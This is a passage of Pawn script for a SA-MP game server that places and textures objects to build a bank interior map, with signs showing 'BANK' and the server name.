SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLS = CreateDynamicObject(2268 , 1407.437744 , 1321.619751 , 1501.149414 , 0.000000 , 90.000000 , -195.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLS = CreateDynamicObject(2268 , 1409.360718 , 1321.619751 , 1501.149414 , 0.000000 , 90.000000 , -195.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLS = CreateDynamicObject(19327 , 1404.631958 , 1320.701050 , 1500.546021 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "2" , 120 , "Ariel" , 140 , 0 , -3801088 , 0 , 0);
BankMapLS = CreateDynamicObject(19327 , 1409.573975 , 1312.207031 , 1500.584961 , -90.000000 , 133.699005 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "(" , 120 , "Ariel" , 130 , 0 , -3801088 , 0 , 0);
BankMapLS = CreateDynamicObject(19327 , 1402.776001 , 1320.697021 , 1500.545044 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "1" , 120 , "Ariel" , 140 , 0 , -3801088 , 0 , 0);
BankMapLS = CreateDynamicObject(19327 , 1408.975952 , 1320.654053 , 1500.546021 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "3" , 120 , "Ariel" , 140 , 0 , -3801088 , 0 , 0);
BankMapLS = CreateDynamicObject(19327 , 1410.886963 , 1320.659058 , 1500.557983 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "4" , 120 , "Ariel" , 140 , 0 , -3801088 , 0 , 0);
BankMapLS = CreateDynamicObject(19327 , 1402.328003 , 1312.014038 , 1500.583984 , -90.000000 , 38.799999 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "(" , 120 , "Ariel" , 130 , 0 , -3801088 , 0 , 0);
BankMapLS = CreateDynamicObject(19327 , 1395.937012 , 1321.530029 , 1501.186035 , 0.000000 , 0.000000 , 150.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , SERVER_NAME1 , 140 , "Century Gothic" , 35 , 1 , -3801088 , 0 , 1);
BankMapLS = CreateDynamicObject(19327 , 1395.922974 , 1327.192993 , 1501.193970 , 0.000000 , 0.000000 , 150.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , SERVER_NAME1 , 140 , "Century Gothic" , 35 , 1 , -3801088 , 0 , 1);
//BankMapLS = CreateDynamicObject(19327 , 1399.911011 , 1321.478027 , 1500.536987 , 0.000000 , 0.000000 , -195.000000, 25, 63, -1, 200.00);
//SetDynamicObjectMaterialText(BankMapLS , 0 , SERVER_NAME1 , 140 , "Century Gothic" , 35 , 1 , -3801088 , 0 , 0);
BankMapLS = CreateDynamicObject(19327 , 1402.588989 , 1321.240967 , 1501.116943 , 0.000000 , 0.000000 , -195.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , SERVER_NAME1 , 140 , "Century Gothic" , 35 , 1 , -3801088 , 0 , 1);
BankMapLS = CreateDynamicObject(19327 , 1406.983032 , 1321.244995 , 1501.133057 , 0.000000 , 0.000000 , -195.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , SERVER_NAME1 , 140 , "Century Gothic" , 35 , 1 , -3801088 , 0 , 1);
BankMapLS = CreateDynamicObject(19327 , 1408.897949 , 1321.248047 , 1501.130981 , 0.000000 , 0.000000 , -195.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , SERVER_NAME1 , 140 , "Century Gothic" , 35 , 1 , -3801088 , 0 , 1);
BankMapLS = CreateDynamicObject(19443 , 1399.624146 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1400.971069 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1402.317993 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1403.665039 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1405.011963 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1406.359009 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1407.706055 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1409.053101 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1410.400146 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1400.216309 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1401.563354 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1402.910400 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1404.257446 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1405.604370 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1406.951416 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1408.298340 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19443 , 1409.645264 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19444 , 1399.608154 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1399.640137 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1400.230591 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1400.198486 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1400.955200 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1403.649170 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1402.302246 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1404.996216 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1406.343140 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1407.690063 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1409.037109 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1410.384155 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1400.987061 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1402.334106 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1403.681152 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1405.028198 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1406.375244 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1407.722168 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1409.069214 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1410.416260 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1401.577637 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1401.545532 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1402.892456 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1402.924561 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1404.271606 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1404.239502 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1405.586548 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1405.618652 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1406.933472 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1406.965698 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1408.280518 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1408.312744 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1409.659668 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19444 , 1409.627441 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(19327 , 1408.100952 , 1310.651001 , 1502.121948 , 0.000000 , 73.999001 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "(" , 130 , "Ariel" , 199 , 0 , -3801088 , 0 , 1);
BankMapLS = CreateDynamicObject(19327 , 1406.401978 , 1310.647949 , 1502.151001 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , SERVER_NAME1 , 130 , "Century Gothic" , 140 , 1 , -3801088 , 0 , 1);
BankMapLS = CreateDynamicObject(19327 , 1407.197998 , 1310.646973 , 1501.958984 , 0.000000 , -17.400000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "(" , 130 , "Ariel" , 35 , 0 , -3801088 , 0 , 0);
BankMapLS = CreateDynamicObject(19327 , 1408.430054 , 1310.647949 , 1502.224976 , 0.000000 , 29.299999 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "(" , 130 , "Ariel" , 38 , 0 , -3801088 , 0 , 1);
BankMapLS = CreateDynamicObject(19327 , 1408.365967 , 1310.646973 , 1502.265991 , 0.000000 , 75.399002 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "(" , 130 , "Ariel" , 35 , 0 , -3801088 , 0 , 1);
BankMapLS = CreateDynamicObject(19327 , 1408.285034 , 1310.645020 , 1502.350952 , 0.000000 , 24.700001 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "(" , 130 , "Ariel" , 38 , 0 , -3801088 , 0 , 1);
BankMapLS = CreateDynamicObject(19327 , 1408.177002 , 1310.645020 , 1502.404053 , 0.000000 , 85.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "(" , 130 , "Ariel" , 46 , 0 , -3801088 , 0 , 1);
BankMapLS = CreateDynamicObject(19327 , 1408.062988 , 1310.645020 , 1502.322998 , 0.000000 , 157.600006 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "(" , 130 , "Ariel" , 38 , 0 , -3801088 , 0 , 1);
BankMapLS = CreateDynamicObject(19327 , 1407.995972 , 1310.644043 , 1502.274048 , 0.000000 , 84.299004 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "(" , 130 , "Ariel" , 26 , 0 , -3801088 , 0 , 1);
BankMapLS = CreateDynamicObject(19327 , 1407.931030 , 1310.647949 , 1502.238037 , 0.000000 , 135.098999 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "(" , 130 , "Ariel" , 32 , 0 , -3801088 , 0 , 1);
BankMapLS = CreateDynamicObject(19327 , 1407.910034 , 1310.647949 , 1502.185059 , 0.000000 , 168.098999 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "(" , 130 , "Ariel" , 26 , 0 , -3801088 , 0 , 1);
BankMapLS = CreateDynamicObject(19327 , 1404.163940 , 1310.647949 , 1502.142944 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLS , 0 , "BANK" , 130 , "Ariel" , 140 , 0 , -9591092 , 0 , 1);
BankMapLS = CreateDynamicObject(19443 , 1404.473877 , 1310.553955 , 1502.109741 , 90.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLS = CreateDynamicObject(19443 , 1407.699951 , 1310.552002 , 1502.109741 , 90.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLS = CreateDynamicObject(19444 , 1409.516235 , 1308.967529 , 1502.109741 , 90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19444 , 1402.699951 , 1308.967529 , 1502.109741 , 90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19444 , 1404.361572 , 1309.916016 , 1502.859253 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19444 , 1407.855957 , 1309.916016 , 1502.859253 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19444 , 1407.855957 , 1309.916016 , 1501.316162 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19444 , 1404.361572 , 1309.916016 , 1501.316162 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19089 , 1412.647949 , 1315.855957 , 1502.581055 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 2360 , "shopping_acc" , "white" , -1);
BankMapLS = CreateDynamicObject(19089 , 1412.647949 , 1315.838013 , 1502.581055 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 2360 , "shopping_acc" , "white" , -1);
BankMapLS = CreateDynamicObject(2040 , 1412.624878 , 1315.818359 , 1502.684204 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 2360 , "shopping_acc" , "white" , -16777216);
CreateDynamicObject(2269 , 1406.176758 , 1323.375610 , 1501.538574 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(2266 , 1399.117188 , 1311.734009 , 1502.317749 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(2270 , 1392.395142 , 1319.998657 , 1501.760132 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(2265 , 1393.061646 , 1328.874268 , 1501.908936 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
BankMapLS = CreateDynamicObject(19377 , 1392.391724 , 1324.013916 , 1497.027466 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -10329502);
BankMapLS = CreateDynamicObject(19377 , 1392.391724 , 1327.053955 , 1497.007446 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -10329502);
BankMapLS = CreateDynamicObject(19448 , 1388.892212 , 1326.996582 , 1498.300537 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19448 , 1388.872192 , 1325.596558 , 1498.300537 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19448 , 1391.934692 , 1327.023682 , 1498.300537 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19377 , 1386.650024 , 1320.908569 , 1499.989014 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLS = CreateDynamicObject(19358 , 1390.576782 , 1335.470215 , 1498.843994 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 14576 , "mafiaCasinoVault01" , "ab_corWallUpr" , 0);
BankMapLS = CreateDynamicObject(19377 , 1392.752686 , 1330.161499 , 1499.982056 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLS = CreateDynamicObject(19358 , 1392.236816 , 1333.610229 , 1498.843994 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 14576 , "mafiaCasinoVault01" , "ab_corWallUpr" , 0);
BankMapLS = CreateDynamicObject(19377 , 1392.732666 , 1339.796021 , 1499.982056 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
CreateDynamicObject(14819 , 1403.346558 , 1352.281250 , 1489.839600 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(14576 , 1406.993652 , 1337.509155 , 1496.885010 , 0.000000 , 0.000000 , 270.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4649 , 1437.779785 , 1282.131470 , 1498.381470 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4650 , 1499.843750 , 1339.131348 , 1497.044189 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4651 , 1489.831421 , 1396.679810 , 1496.914795 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4585 , 1469.794434 , 1309.098145 , 1586.635986 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4568 , 1499.173950 , 1386.752075 , 1496.502686 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4690 , 1490.084351 , 1374.560547 , 1506.368652 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(700 , 1455.234253 , 1354.281860 , 1499.467773 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4681 , 1604.737549 , 1346.708496 , 1506.943848 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4571 , 1535.189087 , 1378.843872 , 1544.819214 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4584 , 1499.298828 , 1277.148682 , 1494.119141 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4569 , 1490.613770 , 1260.333130 , 1515.104614 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4703 , 1444.054932 , 1426.248657 , 1497.178589 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4666 , 1427.622192 , 1470.717896 , 1516.704346 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4665 , 1427.622192 , 1470.717896 , 1516.704346 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4664 , 1530.431396 , 1498.770996 , 1515.340942 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4595 , 1517.976685 , 1490.376465 , 1497.115723 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(1294 , 1440.571655 , 1309.867554 , 1501.408691 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
